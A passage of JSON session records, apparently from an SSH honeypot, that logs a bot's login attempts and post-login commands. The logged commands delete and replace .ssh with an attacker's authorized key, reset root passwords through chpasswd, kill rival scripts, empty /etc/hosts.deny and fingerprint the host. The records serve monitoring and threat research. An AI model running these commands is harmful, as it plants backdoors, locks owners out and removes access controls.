$7}'"},{"seq":10,"at":"2026-08-26T15:32:33.045432+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:32:33.802941+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:32:34.725190+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:32:35.482936+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:32:35.793230+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:32:36.549398+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:32:36.940271+00:00","kind":"output","latency_ms":null,"data":" 15:32:36 up 6 days, 12:22,  0 user,  load average: 0.35, 0.27, 0.24\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:32:37.698318+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:32:38.070443+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:32:38.823969+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:32:39.640871+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:32:40.397744+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:32:40.741968+00:00","kind":"output","latency_ms":null,"data":"top - 15:32:40 up 6 days, 12:22,  0 user,  load average: 0.35, 0.27, 0.24\nTasks: 117 total,   1 running, 116 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8579 free,    7308 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:32:41.497666+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:32:42.265172+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:32:43.024499+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:32:43.480012+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:32:44.236029+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:32:44.843348+00:00","kind":"output","latency_ms":null,"data":"temp"},{"seq":29,"at":"2026-08-26T15:32:45.597794+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:32:46.930137+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:32:47.685072+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:32:49.253739+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"temp","password":"P@ssw0rd","method":"password","accepted":true,"tier":"other"}]}
{"id":"426652a4-2d81-470f-ba96-93ed299d533f","name":"windswept-candid-kestrel","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40843,"username":"temp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:32:24.996556+00:00","ended_at":"2026-08-26T15:32:27.126381+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"temp","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"96e45955-5ec0-4c4b-80d0-bcee4edd7265","name":"pristine-fearless-fennec","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40842,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:32:22.061995+00:00","ended_at":"2026-08-26T15:32:23.507643+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"6749b97d-7b2e-42a8-bdc8-99cfa995d58a","name":"wooded-mellow-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40838,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":757,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:30:07.414904+00:00","ended_at":"2026-08-26T15:30:08.845919+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T15:29:39.222501+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:29:39.976990+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:29:45.951423+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:29:46.319948+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:29:47.077146+00:00","kind":"input","latency_ms":null,"data":"echo \"root:u5op6r91R7HF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:29:47.833439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:29:48.589994+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:29:48.965908+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:29:49.725080+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:29:50.811816+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:29:51.572272+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:29:52.831173+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:29:53.591724+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:29:54.483758+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:29:55.242418+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:29:55.761175+00:00","kind":"output","latency_ms":null,"data":" 15:29:55 up 6 days, 12:20,  0 user,  load average: 0.15, 0.1, 0.17\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:29:56.526602+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:29:57.390687+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:29:58.150177+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:29:59.007018+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:29:59.763193+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:30:00.233668+00:00","kind":"output","latency_ms":null,"data":"top - 15:30:00 up 6 days, 12:20,  0 user,  load average: 0.15, 0.1, 0.17\nTasks: 121 total,   1 running, 120 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7149 free,    8738 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:30:00.991126+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:30:01.849135+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:30:02.605513+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:30:03.241207+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:30:04.000938+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:30:04.881348+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:30:05.638374+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:30:06.658795+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:30:07.416231+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:30:08.605922+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Cm123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"61699431-f4a8-4044-b450-1821dce17577","name":"brisk-golden-fieldfare","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40840,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:29:44.144683+00:00","ended_at":"2026-08-26T15:29:45.711084+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"a4b53656-be08-4bab-b89e-7c77ed949cf3","name":"dewy-hazel-raven","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40839,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:29:41.701607+00:00","ended_at":"2026-08-26T15:29:42.649863+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"cde989e9-5ca8-4956-b3d5-de0e287d64bf","name":"regal-dusty-civet","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40835,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":762,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:27:28.014575+00:00","ended_at":"2026-08-26T15:27:29.715057+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T15:27:01.384186+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:27:02.144503+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:27:07.743531+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:27:08.264328+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:27:09.025208+00:00","kind":"input","latency_ms":null,"data":"echo \"root:OZiPDgVWZjGr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:27:09.786807+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:27:10.546526+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:27:11.410883+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:27:12.170821+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:27:13.559341+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:27:14.322718+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:27:15.677625+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:27:16.440877+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:27:16.949286+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:27:17.713592+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:27:18.061493+00:00","kind":"output","latency_ms":null,"data":" 15:27:18 up 6 days, 12:17,  0 user,  load average: 0.12, 0.13, 0.1\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:27:18.824487+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:27:19.133720+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:27:19.897422+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:27:20.494565+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:27:21.258967+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:27:21.628826+00:00","kind":"output","latency_ms":null,"data":"top - 15:27:21 up 6 days, 12:17,  0 user,  load average: 0.12, 0.13, 0.1\nTasks: 124 total,   1 running, 123 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8738 free,    7149 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:27:22.391148+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:27:22.768439+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:27:23.529762+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:27:24.085397+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:27:24.847166+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:27:25.427920+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:27:26.189882+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:27:27.251694+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:27:28.015665+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:27:29.471380+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"456654","method":"password","accepted":true,"tier":"other"}]}
{"id":"7d2d6513-8691-4fe0-bd65-dbd7f9eff26d","name":"snowy-spirited-alpaca","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40837,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:27:06.674969+00:00","ended_at":"2026-08-26T15:27:07.501876+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"a973f55c-3843-4df6-bd56-1926981ae784","name":"painted-diligent-cicada","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40836,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:27:03.902623+00:00","ended_at":"2026-08-26T15:27:05.161104+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"c6bd8dbf-abde-4be4-b73d-76100143e4e1","name":"rugged-scarlet-galago","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40832,"username":"acer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":751,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:24:37.976212+00:00","ended_at":"2026-08-26T15:24:39.423750+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2241,"events":[{"seq":1,"at":"2026-08-26T15:24:10.446719+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:24:11.197692+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:24:17.747881+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:24:18.250426+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:24:19.001909+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\n3ezaMYuwKZDU\\n3ezaMYuwKZDU\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:24:19.753658+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\n3ezaMYuwKZDU\\n3ezaMYuwKZDU\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:24:20.503854+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:24:20.952824+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:24:21.703788+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:24:22.736333+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:24:23.490705+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:24:24.542564+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:24:25.296484+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:24:25.859150+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:24:26.609578+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:24:27.193194+00:00","kind":"output","latency_ms":null,"data":" 15:24:27 up 6 days, 12:14,  0 user,  load average: 0.17, 0.13, 0.11\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:24:27.945273+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:24:28.388822+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:24:29.139102+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:24:29.475186+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:24:30.224931+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:24:30.934465+00:00","kind":"output","latency_ms":null,"data":"top - 15:24:30 up 6 days, 12:14,  0 user,  load average: 0.17, 0.13, 0.11\nTasks: 116 total,   1 running, 115 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9532 free,    6355 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:24:31.686522+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:24:32.509169+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:24:33.260044+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:24:33.877041+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:24:34.627589+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:24:35.407675+00:00","kind":"output","latency_ms":null,"data":"acer"},{"seq":29,"at":"2026-08-26T15:24:36.160213+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:24:37.222914+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:24:37.976969+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:24:39.183353+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"acer","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"60c5228c-abee-415e-9ec6-50d9ecd0b02a","name":"whispering-crisp-kakapo","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40834,"username":"acer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:24:15.827647+00:00","ended_at":"2026-08-26T15:24:17.509470+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"acer","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"4386874c-aa8b-4b0b-b063-675d08724d83","name":"wry-misty-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40833,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:24:12.941046+00:00","ended_at":"2026-08-26T15:24:14.331042+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
